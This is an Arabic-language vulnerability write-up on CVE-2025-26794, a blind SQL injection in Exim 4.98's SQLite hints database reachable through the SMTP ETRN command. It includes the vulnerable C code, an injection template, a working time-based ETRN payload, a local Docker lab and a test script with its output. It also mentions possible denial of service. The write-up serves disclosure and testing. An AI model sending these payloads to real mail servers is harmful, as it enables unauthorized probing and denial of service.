
CVE-2025-26794: حقن SQL أعمى في Exim 4.98 (SQLite DBM) - شرح الاستغلال
تقرير Exim: https://www.exim.org/static/doc/security/CVE-2025-26794.txt
اكتشفت هذه الثغرة من خلال مراجعة يدوية للكود.
معاملات SQL، عند استخدام SQLite كمدير قاعدة بيانات (DBM)، لا يتم تنقيتها بشكل صحيح. يؤدي ذلك إلى إمكانية قيام مستخدم عن بعد بتشكيل استعلامات SQLite مخصصة.
يستخدم Exim قاعدة بيانات داخلية لتخزين المفاتيح والقيم (تسمى HintsDB) تدعم عدة خلفيات، يتم تعيينها وقت البناء. أحدث إضافة كانت SQLite. تُستخدم لتخزين:
enq_start()) لأوامر ETRN وتوصيل SMTPالملف المتأثر هو hintsdb.h. تم نقله إلى ملف منفصل (hints_sqlite.h) في أحدث الالتزامات. فقط دوال SQLite هي المتأثرة (مثال الدالة: exim_s_dbp).
static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]
}
مفتاح الإدخال لا يتم تخطيه بشكل صحيح. لذلك، إذا تمكنا من التحكم في المفتاح، فسنكون قادرين على حقن أي كود SQLite.
RFC1985 يعرف أمر ETRN في SMTP، "حيث يمكن للعميل أن يطلب من الخادم بدء معالجة قوائم البريد الخاصة به للرسائل المنتظرة في الخادم لجهاز العميل".
يستخدم مع أمر SMTP: ETRN #domain.com.
في Exim، يقوم أمر ETRN بتعيين إشارة في HintsDB لتجنب تشغيل أوامر ETRN متعددة بالتوازي.
يتم تنفيذ هذه الإشارة بواسطة دالة enq_start(keyname, value) التي تنشئ إدخالاً جديدًا في قاعدة بيانات "misc".
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);
[...]
if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
break;
}
على سبيل المثال، أمر SMTP ETRN #test.com سينشئ إدخالاً مؤقتًا في قاعدة بيانات SQLite "misc" بالمفتاح "etrn-#test.com" والقيمة 1.
في نهاية معالجة أمر ETRN، سيتم إزالة الإدخال من قاعدة البيانات:
enq_end(etrn_serialize_key);
بما أننا نتحكم في المفتاح، يمكننا حقن كود SQL خاص بنا باستخدام أمر SMTP التالي:
ETRN #',1); ## INSERT SQL HERE ## /*
نظرًا لعدم وجود مخرجات، يمكننا إرسال حمولة SQLi زمنية لاختبار هذه الثغرة عن بُعد:
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ATTACH DATABASE، أعتقد أنه يمكننا ربما استغلال حالة سباق في Exim لإحداث سلوك غير محدد عن طريق العبث بقواعد البيانات الأخرى المستخدمة. لا يزال هذا افتراضيًا جدًا حاليًا.ETRN (وهو قديم جدًا). لم أجد في أي مكان آخر في الكود يتم فيه استخدام إدخال المستخدم لبناء سلسلة الاستعلام.لذلك أشك في أن هذه الطريقة من الاستغلال قد استُخدمت في البيئة الحقيقية. ومع ذلك، فهي ثغرة خطيرة.
هذا يعني أنه يمكننا بسهولة القيام بهجوم رفض الخدمة (مثل: ملء القرص)، ولكن تصعيد هذا إلى تنفيذ كود عن بعد سيتطلب المزيد من العمل، ولكنه قد يكون ممكنًا.
إليك مختبر Docker محلي للمساعدة في إعادة إنتاج هذه الثغرة.
git clone [email protected]:OscarBataille/CVE-2025-26794.gitcd CVE-2025-26794/docker_labbash docker.sh سيقوم ببنائك وتسجيل دخولك في الحاويةbash start-exim.sh لتشغيل خادم eximnc 127.0.0.1 25220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000ETRN #'sqlite3_exec: near "', X'": syntax errorطورت سكربت test.py لاختبار هذه الثغرة عن بُعد.
python3 docker_lab/test.py <host>
مثال:
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000
Client: ETRN #
ETRN response: 458 Already processing
Time: 0.006737470626831055
Client: ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ETRN response: 250 OK
Time: 1.073132038116455
!! Vulnerable